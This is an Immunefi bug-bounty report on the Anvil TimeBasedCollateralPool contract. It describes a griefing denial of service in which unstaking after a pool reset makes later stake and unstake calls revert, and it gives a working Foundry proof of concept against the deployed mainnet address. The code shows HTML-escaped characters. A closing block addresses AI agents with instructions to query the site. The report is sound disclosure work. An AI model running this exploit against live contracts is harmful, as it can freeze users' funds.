# #36309 \[SC-Low] TimeBasedCollateralPool: After \_resetPool gets called (internally) a depositor can b

**Submitted on Oct 28th 2024 at 22:48:59 UTC by @max10afternoon for** [**Audit Comp | Anvil**](https://immunefi.com/audit-competition/audit-comp-anvil)

* **Report ID:** #36309
* **Report Type:** Smart Contract
* **Report severity:** Low
* **Target:** <https://etherscan.io/address/0xd042C267758eDDf34B481E1F539d637e41db3e5a>
* **Impacts:**
  * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

After a pool gets reset, a depositor can call unstake to intentionally (or unintentionally) break almost all functionalities of the smart contract, including staking and unstaking. Leading to a freezing of funds in cases were and ExitBalance is present, or to a general disruption of service otherwise.

## Vulnerability Details

When a pool gets reset the associated reservation ID gets set to 0, together with any pending epoch: \`\`\` function \_resetPool(address \_tokenAddress) internal { // Note: we are not calling \_unlockEligibleTokenContractPendingUnstakes because it can call this function.

```
    ContractState storage contractStateStorage &#x3D; tokenContractState[_tokenAddress];

    uint256 unitsToReset &#x3D; contractStateStorage.totalUnits;
    if (unitsToReset &#x3D;&#x3D; 0) {
        // This already has the state that a reset would achieve, so it&#x27;s not required.
        return;
    }

    // NB: must be resetNonce++, NOT ++resetNonce
    uint256 resetNonce &#x3D; contractStateStorage.resetNonce++;

    uint256 tokensToReset;
    {
        uint96 reservationId &#x3D; contractStateStorage.collateralReservationId;
        if (reservationId !&#x3D; 0) {
            // Unlock all pool tokens so they are releasable.
            tokensToReset &#x3D; collateral.releaseAllCollateral(reservationId);
            contractStateStorage.collateralReservationId &#x3D; 0;
        }
    }

    // Only set an Exit balance if there is one. If all tokens were claimed, then effectively set (0,0).
    if (tokensToReset &gt; 0) {
        // Create the reset ExitBalance so stakers can exit their tokens (see: _resetAccountTokenStateIfApplicable(...))
        tokenResetExitBalances[_tokenAddress][resetNonce] &#x3D; ExitBalance(unitsToReset, tokensToReset);
    }

    // Delete all contract-level pending unstake state.
    if (contractStateStorage.firstPendingUnstakeEpoch &gt; 0) {
        contractStateStorage.firstPendingUnstakeEpoch &#x3D; 0;
        contractStateStorage.firstPendingUnstakeUnits &#x3D; 0;

        if (contractStateStorage.secondPendingUnstakeEpoch &gt; 0) {
            contractStateStorage.secondPendingUnstakeEpoch &#x3D; 0;
            contractStateStorage.secondPendingUnstakeUnits &#x3D; 0;
        }
    }

    contractStateStorage.totalUnits &#x3D; 0;

    emit PoolReset(IERC20(_tokenAddress), resetNonce + 1, tokensToReset, unitsToReset);
}
```

\`\`\` This two facts will be relevant inside of the '\_unlockEligibleTokenContractPendingUnstakes', which gets called by all stake functionalities, unstake and claim. As calling unstake after the pool got reset will cause \_unlockEligibleTokenContractPendingUnstakes to revert braking all of the above functionalities, here is why:

As you may notice at the begging, if uint256 firstEpoch = contractStateStorage.firstPendingUnstakeEpoch; is 0, no further computations will be made, avoiding any unexpected revert, that would come from interacting with the underlying Collateral contract trough a reservation with ID equal to 0. That said a user can call unstake to froce the contractStateStorage.firstPendingUnstakeEpoch to be greater than 0\*\*, meaning that after the epoch elapses, the above mentioned check will pass and, unless someone have deposited before the time has passed, every functionality dependent on \_unlockEligibleTokenContractPendingUnstakes will revert, breaking almost every functionalities of the contract with respect to the targeted token and freezing any funds found in a potential ExitBalance allocation until the implementation gets re deployed (with the owner's time lock currently having a min delay of 7 days).

\*\*Note that the check performed inside of unstake, to verify if the account was reset will be ignored, as when epoch is equal to 0, the \_poolWasReset variable will be set to false, meaning that accountWasReset will also be set to false, allowing the execution to reach the critical \_addToContractPendingUnstakeNextEpoch function.

All of this can be done maliciously do damage the users and owners of the protocol (even by frontrunning the pool's reset with a dust amount deposit, see PoC) or by mistake by a user trying to legitimately call unstake.

## Impact Details

Griefing: A malicious user can decide to break most functionalities of the contract either by having some funds staked already of by frontrunning (for almost no cost). Also this might lead to a temporary freezing of funds in cases were an ExitBalance was allocated.

## Proof of Concept

Here is a simple foundry PoC interacting directly with the in scope assets (0xd042C267758eDDf34B481E1F539d637e41db3e5a) after properly initializing it, any interaction trough a proxy would lead to the same results.

Place your alchemy API key in the URL on line 119 of the script: \`\`\` // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0;

import "forge-std/Test.sol"; import "forge-std/console.sol";

interface IStruct{

```
struct CollateralizableContractApprovalConfig {
    address collateralizableAddress;
    bool isApproved;
}


struct AccountState {
    uint32 resetNonce;
    uint32 firstPendingUnstakeEpoch;
    uint32 secondPendingUnstakeEpoch;
    uint256 firstPendingUnstakeUnits;
    uint256 secondPendingUnstakeUnits;
    uint256 totalUnits;
}
```

} interface IERC20 {

```
event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);


function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 value) external returns (bool);

function transferFrom(address from, address to, uint256 value) external returns (bool);
```

}

interface ICollateral is IStruct{

```
function depositAndApprove(
    address[] calldata _tokenAddresses,
    uint256[] calldata _amounts,
    address _collateralizableContractAddressToApprove
) external ;

function upsertCollateralizableContractApprovals(
    CollateralizableContractApprovalConfig[] calldata _updates
) external;
```

}

interface ITimeBasedCollateralPool is IStruct {

```
function defaultClaimDestinationAccount() external view returns (address);

function initialize(
    ICollateral _collateral,
    uint256 _epochPeriodSeconds,
    address _defaultClaimDestination,
    address _admin,
    address _claimant,
    address _claimRouter,
    address _resetter
) external;

function stake(
    IERC20 _token,
    uint256 _amount,
    bytes calldata _collateralizableApprovalSignature
) external;


function unstake(IERC20 _token, uint256 _poolUnits) external;

function getAccountTokenState(address _account, address _tokenAddress) external view returns (AccountState memory);

function resetPool(IERC20[] calldata _tokens) external;

function getCurrentEpoch() external view returns (uint256);
```

}

contract DoSTest is Test, IStruct{

```
uint256 mainnetFork;

address vaultAddress;
address poolAddress;
address depositTokenAddress;

address alice;
address bob;

IERC20 depositToken;
ICollateral vault;
ITimeBasedCollateralPool pool;


uint256[] amounts;
address[] addresses;
IERC20[] resetToken; 
CollateralizableContractApprovalConfig[] collAdd;


function setUp() public {

    mainnetFork &#x3D; vm.createFork(&quot;https://eth-mainnet.g.alchemy.com/v2/&lt;Place your Alchemy API key here&gt;&quot;);

    depositTokenAddress &#x3D; address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    vaultAddress &#x3D;        address(0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f);   
    poolAddress &#x3D;         address(0xd042C267758eDDf34B481E1F539d637e41db3e5a);

    alice &#x3D; address(0x123);
    bob &#x3D; address(0x456);


    vm.selectFork(mainnetFork);
    vm.rollFork(20929936); //1 block before initialization, to skip proxy and make PoC interact directly with in scope asset

  

    vault &#x3D; ICollateral(vaultAddress);
    pool &#x3D; ITimeBasedCollateralPool(poolAddress);
    depositToken &#x3D; IERC20(depositTokenAddress);


    vm.prank(0x37305B1cD40574E4C5Ce33f8e8306Be057fD7341);
    depositToken.transfer(alice, 500000000);

    vm.prank(alice);
    depositToken.approve(vaultAddress, type(uint256).max);


    vm.prank(0x37305B1cD40574E4C5Ce33f8e8306Be057fD7341);
    depositToken.transfer(bob, 500000000);

    vm.prank(bob);
    depositToken.approve(vaultAddress, type(uint256).max);



    //Init with dummy numbers just to show impact
    pool.initialize(vault, 1, address(this),address(this),address(this),address(this),address(this));




    collAdd.push(CollateralizableContractApprovalConfig(poolAddress, true));

    vm.prank(address(0x4eeB7c5BB75Fc0DBEa4826BF568FD577f62cad21));
    vault.upsertCollateralizableContractApprovals(collAdd);

}



function testRevert() public {


    bytes memory empty;


    amounts &#x3D; [50000000];
    addresses &#x3D; [depositTokenAddress];



    vm.startPrank(alice);

    vault.depositAndApprove(addresses, amounts, poolAddress);
    pool.stake(depositToken,10, empty);

    vm.stopPrank();



    vm.startPrank(bob);

    vault.depositAndApprove(addresses, amounts, poolAddress);
    pool.stake(depositToken,20000000, empty);

    vm.stopPrank();
           
    
    resetToken.push(depositToken);
    pool.resetPool(resetToken);



    vm.prank(alice);
    pool.unstake(depositToken,1);

   
    vm.warp(block.timestamp + 2);



    //Alice was able to disable the smart contract functionalities
    vm.startPrank(bob);

    vault.depositAndApprove(addresses, amounts, poolAddress);

    vm.expectRevert();
    pool.stake(depositToken,20000000, empty);

  
    vm.expectRevert();
    pool.unstake(depositToken,1);

    vm.stopPrank();


}
```

}

\`\`\`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/anvil/36309-sc-low-timebasedcollateralpool-after-_resetpool-gets-called-internally-a-depositor-can-break-m.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.